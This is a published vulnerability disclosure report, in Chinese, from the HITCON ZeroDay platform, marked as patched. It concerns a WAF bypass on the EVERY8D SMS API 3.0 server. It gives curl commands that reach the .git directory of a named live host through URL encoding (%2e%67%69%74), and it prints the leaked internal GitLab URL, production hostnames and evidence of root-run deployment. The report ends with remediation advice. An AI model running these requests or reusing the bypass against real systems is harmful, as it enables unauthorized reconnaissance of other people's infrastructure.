Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00639
- Vendor: 互動資通股份有限公司
- Title: 互動資通 EVERY8D SMS API 3.0 .git 目錄 URL Encoding WAF Bypass → 內部 GitLab 伺服器、生產主機名及 root 部署身份洩漏
- Introduction: WAF 僅攔截字面 .git 路徑,將 .git URL 全編碼為 %2e%67%69%74 即可繞過,讀取 Git 元數據並洩漏內部 GitLab URL 及 root 部署身份。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/07 02:08:41 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/14 13:03:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:56:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:56:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:56:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 11:23:12 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:13:18 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/31 14:58:44 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/01 14:48:07 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/05 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00639
- 通報者:guan4tou2 (罐頭)
- 風險:中
- 類型:資訊洩漏 (Information Leakage)
參考資料
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
相關網址
https://e8dapi.e8d.tw/%2e%67%69%74/HEAD
敘述
漏洞概述
e8dapi.e8d.tw 伺服器設定了 WAF/Apache 規則以阻擋 .git 路徑的直接存取(HTTP 403),但防護僅匹配字面字串 .git,未對 URL 解碼後的結果進行二次過濾。攻擊者只需將 .git 以 URL 百分號編碼(%2e%67%69%74),即可繞過攔截規則,從 Web Server 層(Apache 執行 URL 解碼後)直接讀取 .git/ 目錄中的元數據文件。
WAF Bypass 技術原理
.git 的 URL 全編碼:. = %2e,g = %67,i = %69,t = %74
WAF 規則在接收到請求時匹配字串 .git(ASCII),由於 %2e%67%69%74 與字面 .git 不相符,規則不被觸發。請求到達 Apache 後,Apache 執行 URL 解碼,還原為 .git,正常服務該目錄下的文件。
重現步驟(Live verified: 2026-04-29)
步驟 1:確認直接路徑被 WAF 阻擋
curl -I "https://e8dapi.e8d.tw/.git/HEAD"
# → HTTP/1.1 403 Forbidden
curl -I "https://e8dapi.e8d.tw/.git/config"
# → HTTP/1.1 403 Forbidden
步驟 2:使用 URL Encoding 繞過,讀取 HEAD
curl -s "https://e8dapi.e8d.tw/%2e%67%69%74/HEAD"
# → ref: refs/heads/prod_20251027
步驟 3:讀取 git config(內部 GitLab URL)
curl -s "https://e8dapi.e8d.tw/%2e%67%69%74/config"
回應:
[core]
repositoryformatversion = 0
filemode = true
bare = false
[remote "origin"]
url = http://gitlab.e8d.cc/tech_service/sms_api30_bin.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
步驟 4:讀取 git logs,洩漏生產主機名與 root 身份
curl -s "https://e8dapi.e8d.tw/%2e%67%69%74/logs/HEAD"
回應(節錄):
0000000000000000000000000000000000000000 cd39dfc604f8f1fe8103f307d7faafddd121fd1a root <root@api30ap182p.(none)> 1761559191 +0800 clone: from http://gitlab.e8d.cc/tech_service/sms_api30_bin.git
cd39dfc604f8f1fe8103f307d7faafddd121fd1a cd39dfc604f8f1fe8103f307d7faafddd121fd1a root <root@api30ap181p.(none)> 1761559201 +0800 checkout: moving from main to prod_20251027
步驟 5:讀取 packed-refs,取得完整版本歷史
curl -s "https://e8dapi.e8d.tw/%2e%67%69%74/packed-refs"
回應(節錄):
# pack-refs with: peeled fully-peeled sorted
cd39dfc604f8f1fe8103f307d7faafddd121fd1a refs/remotes/origin/develop
...
refs/remotes/origin/prod_20240820
refs/remotes/origin/prod_20240912
refs/remotes/origin/prod_20241001
refs/remotes/origin/prod_20241219
refs/remotes/origin/prod_20250305
refs/remotes/origin/prod_20250306
refs/remotes/origin/prod_20250423
refs/remotes/origin/prod_20250609
refs/remotes/origin/prod_20250822
refs/remotes/origin/prod_20251027
refs/remotes/origin/uat
洩漏的敏感資訊總覽
1. 內部 GitLab 伺服器
| 項目 | 值 |
|---|---|
| GitLab URL | http://gitlab.e8d.cc/tech_service/sms_api30_bin.git |
| 群組 | tech_service(與其他 EVERY8D 服務相同組織) |
| 倉庫 | sms_api30_bin(SMS API 3.0 二進位發行版) |
| DNS 解析 | gitlab.e8d.cc → 3.115.247.248(AWS Tokyo) |
內部 GitLab 伺服器的存在及其 URL 屬於非公開的內部基礎設施資訊。攻擊者若能存取 gitlab.e8d.cc,可取得所有相關服務的原始碼。
2. 生產伺服器主機名(雙機叢集)
| 主機名 | 推斷角色 | git 操作記錄 |
|---|---|---|
api30ap182p |
SMS API 3.0 Production Server 2 | 執行 git clone from gitlab.e8d.cc |
api30ap181p |
SMS API 3.0 Production Server 1 | 執行 git checkout prod_20251027 |
3. Root 身份執行部署操作
root <root@api30ap182p.(none)> ← git clone 以 root 身份執行
root <root@api30ap181p.(none)> ← git checkout 以 root 身份執行
伺服器以 root 身份執行所有 git 部署操作,代表 Web 服務程序本身亦可能以 root 權限運行。若攻擊者取得任意程式碼執行能力,影響面直接升級至系統 root 級別。
WAF Bypass 可觸達的端點彙整
| 路徑 | HTTP 狀態 | 備註 |
|---|---|---|
/.git/HEAD |
403 | WAF 字面匹配 .git,阻擋 |
/%2e%67%69%74/HEAD |
200 | Bypass 成功,返回當前 branch |
/%2e%67%69%74/config |
200 | 返回 GitLab remote URL |
/%2e%67%69%74/logs/HEAD |
200 | 返回主機名 + root 身份 |
/%2e%67%69%74/packed-refs |
200 | 返回完整分支歷史 |
/%2e%67%69%74/refs/heads/prod_20251027 |
200 | 返回 commit hash |
/%2e%67%69%74/objects/* |
404 | objects 目錄另外受保護或以 packed 格式存儲 |
由於 objects 目錄無法存取,本漏洞目前僅能取得元數據,無法還原完整原始碼。
已驗證影響(Verified)
- ✅ WAF bypass 成功:
%2e%67%69%74/HEAD返回 HTTP 200(2026-04-29 11:33 實測) - ✅ 內部 GitLab URL 確認:
http://gitlab.e8d.cc/tech_service/sms_api30_bin.git - ✅ 兩台生產伺服器主機名確認:
api30ap181p、api30ap182p - ✅ root 身份部署確認:git logs 中
root <root@api30ap18Xp.(none)> - ✅ 版本歷史確認:10 個 prod 分支(2024/08 ~ 2025/10)
潛在影響(Potential)
- 攻擊者知悉內部 GitLab 伺服器地址,若 GitLab 存在其他漏洞(認證繞過、SSRF、公開倉庫),可取得 SMS API 3.0 完整原始碼
- 生產伺服器主機名(
api30ap181p/api30ap182p)可作為內部網路橫向移動的目標定位 - Root 部署確認:任何 code execution 漏洞立即升級為完整系統控制
修補建議
1. 立即:修正 WAF/Apache 規則,對所有請求先執行 URL 解碼,再比對 .git 路徑(在 WAF 層啟用 URL decode before match)
2. 立即:在 Apache 設定中加入 RedirectMatch 404 /\.git 規則,並確認 URL 解碼前後均被攔截
3. 短期:將部署流程改為非 root 帳戶(least privilege),Web 服務程序不應以 root 身份運行
4. 短期:git remote URL 不應使用明文 HTTP,應改用 SSH 金鑰認證